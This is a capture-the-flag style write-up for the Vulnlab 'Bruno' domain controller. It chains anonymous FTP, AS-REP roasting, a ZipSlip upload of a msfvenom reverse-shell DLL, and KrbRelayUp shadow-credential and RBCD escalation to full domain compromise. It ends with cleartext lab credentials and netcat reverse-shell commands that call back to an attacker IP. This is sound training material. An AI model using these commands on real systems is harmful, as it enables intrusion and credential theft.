8.5 KiB
Vulnlab - Bruno
PORT STATE SERVICE VERSION
21/tcp open tcpwrapped
53/tcp open tcpwrapped
80/tcp open tcpwrapped
135/tcp open tcpwrapped
139/tcp open tcpwrapped
443/tcp open tcpwrapped
88/tcp open kerberos-sec
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=bruno-BRUNODC-CA
| Issuer: commonName=bruno-BRUNODC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-06-29T13:23:01
| Not valid after: 2121-06-29T13:33:00
| MD5: 659b3c9000eb1e0a51701be90456840c
|_SHA-1: a093f4c23c8e053286f21e99cad782f8e40e3d72
445/tcp open tcpwrapped
636/tcp open tcpwrapped
| ssl-cert: Subject: commonName=brunodc.bruno.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:brunodc.bruno.vl
| Issuer: commonName=bruno-BRUNODC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-08-22T06:05:15
| Not valid after: 2024-08-21T06:05:15
| MD5: 1f78c03b2d8da3ec00765fcc68d5973b
|_SHA-1: be3a109df3cfefcf7a8078654bbbf09ae7950fd5
3269/tcp open tcpwrapped
| ssl-cert: Subject: commonName=brunodc.bruno.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:brunodc.bruno.vl
| Issuer: commonName=bruno-BRUNODC-CA
3389/tcp open tcpwrapped
| ssl-cert: Subject: commonName=brunodc.bruno.vl
| Issuer: commonName=brunodc.bruno.vl
PORT 21 (FTP)
Logging in as an anonymous user on FTP, we can find few directories
From app folder, there's SampleScanner
Reading the changelog file we can see a username svc_scan
Since we are targeting a domain controller, we can check for ASREP roasting (accounts with pre-authentication disabled)
Having the hash, attempting to crack it against hashcat
hashcat -a 0 -m 18200 ./svc_scan.txt /usr/share/wordlists/rockyou.txt --force
Listing the shares with this user, we have write access on `queue`
On this point, we need to understand what sample scanner is doing and what's the use of this queue share folder, using ILSpy to analyze the SampleScanner.dll
DLL Hijacking
This dll looks for a zip file in C:\Samples\queue , extracts the file and deletes the zip file, if it's not a zip file it checks for the occurrence of the AV test file pattern defined by the text string and place it into malicious folder else it places it into bengin folder, so running this locally by transferring all required files
Creating \sample\queue in C:\ and placing a zip file for testing
Running SampleScanner will extract the contents of the zip file
Here we canperform path traversal to extract the file in any location which is known as ZipSlip, for creating a malicious zip file we can use evilarc.py (https://github.com/ptoomey3/evilarc) or we can use 7zip to edit the filename to be ..\file.txt
This will extract the contents of evil.zip outside the directory of C:\Samples\queue
Since this is being ran with svc_scan we can achieve remote code execution by replacing the dll being used with SampleScanner, for that we need to analyze which dll we need to place, with Process Monitor we can analyze which DLL is missing from the program by applying filters for the DLLs which are not found by the exe
Here we see two DLLs which are being used by this program but are not found in the current path, hostfxr.dll and Microsoft.DiaSymReader.Native.amd64.dll , generating a dll through msfvenom and replacing the DiaSymReader dll
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.154 LPORT=2222 -f dll > test.dll
Executing SampleScanner now will trigger a reverse shell as we have placed our maclious dll
To do this on the target machine, we need to place the dll with a path traversal ..\app\Microsoft.DiaSymReader.Native.amd64.dll, since svc_scan has write access to queue share folder we can upload the archive file through smb
Within seconds we'll receive a connection on our listener
Checking the privileges of svc_scan user, it have any interesting privileges
Running python-bloodhound to enumerate the domain
python3 bloodhound.py -u 'svc_scan' -p 'Sunshine1' -d 'bruno.vl' -c all -ns 10.10.84.94 --auth-method ntlm
There wasn't any path leading to domain admin from svc_scan
However we can see `svc_net` being AS-REP roastable
Through `GetNPUsers.py` we can retrieve TGT of svc_net and attempt to crack it
GetNPUsers.py bruno.vl/svc_net -no-pass -dc-ip 10.10.108.253
Which is the same password as svc_scan, also this user doesn't didn't had any special privileges, from winpeas we can see target being vulnerable to `KrbRelayUp`
Shadow Credentials
To escalate privileges through KrbRelayUp, we need ensure that LDAP singing is disabled and we are allowed to add a machine account, however this is optional as we can abuse shadow credentials if PKINT is supported by DC, through cme we can verify the machine qouta
cme ldap bruno.vl -u 'svc_scan' -p 'Sunshine1' -M maq
Also we can see ldap signing is not enforced
cme ldap bruno.vl -u 'svc_scan' -p 'Sunshine1' -M ldap-checker
For using krbrealyup, we need a valid CLSID, I grabbed the certsrv ID from https://vulndev.io/cheats-windows/
Using the shadow credentials method on port 10246, as this was the port which was available
.\KrbRelayUp.exe full -m shadowcred -cls {d99e6e73-fc88-11d0-b498-00a0c90312f3} -p 10246
Now using Rubeus, to request a TGT for brunodc through PKINT authentication
Rubeus.exe asktgt /user:brunodc$ /certificate:MIIKSAIBAzCCCgQGC...snip.... /password:tV0-oN8$aB7- /enctype:AES256 /nowrap
Converting the kirbi ticket for brunodc to ccache so we can use it with secretsdump.py
secretsdump.py 'brunodc$'@brunodc.bruno.vl -k -no-pass
Resource Based Constrained Delegation
We can also perform Resource Based Constrained Delegation (RBCD) by creating machine account and that account in brunodc's msDS-AllowedToActOnBehalfOfOtherIdentity property
.\KrbRelayUp.exe full -m rbcd -c -cls {d99e6e73-fc88-11d0-b498-00a0c90312f3} -p 10246
Requesting the administrator's TGT through `getST.py`
Having the ticket, we can login through smbexec.py
References
- https://github.com/ptoomey3/evilarc
- https://github.com/cesarsotovalero/zip-slip-exploit-example/blob/master/README.md
- https://icyguider.github.io/2022/05/19/NoFix-LPE-Using-KrbRelay-With-Shadow-Credentials.html
- https://github.com/Dec0ne/KrbRelayUp
- https://vulndev.io/cheats-windows/
- http://ohpe.it/juicy-potato/CLSID/
svc_scan:Sunshine1
\RunasCs.exe svc_scan 'Sunshine1' -d bruno.vl 'C:\Users\svc_scan\nc64.exe 10.8.0.136 2222 -e cmd.exe' -l 9
.\RunasCs.exe svc_net "Sunshine1" "C:\Users\svc_scan\nc64.exe 10.8.0.136 2222 -e cmd.exe" -d bruno.vl -l 9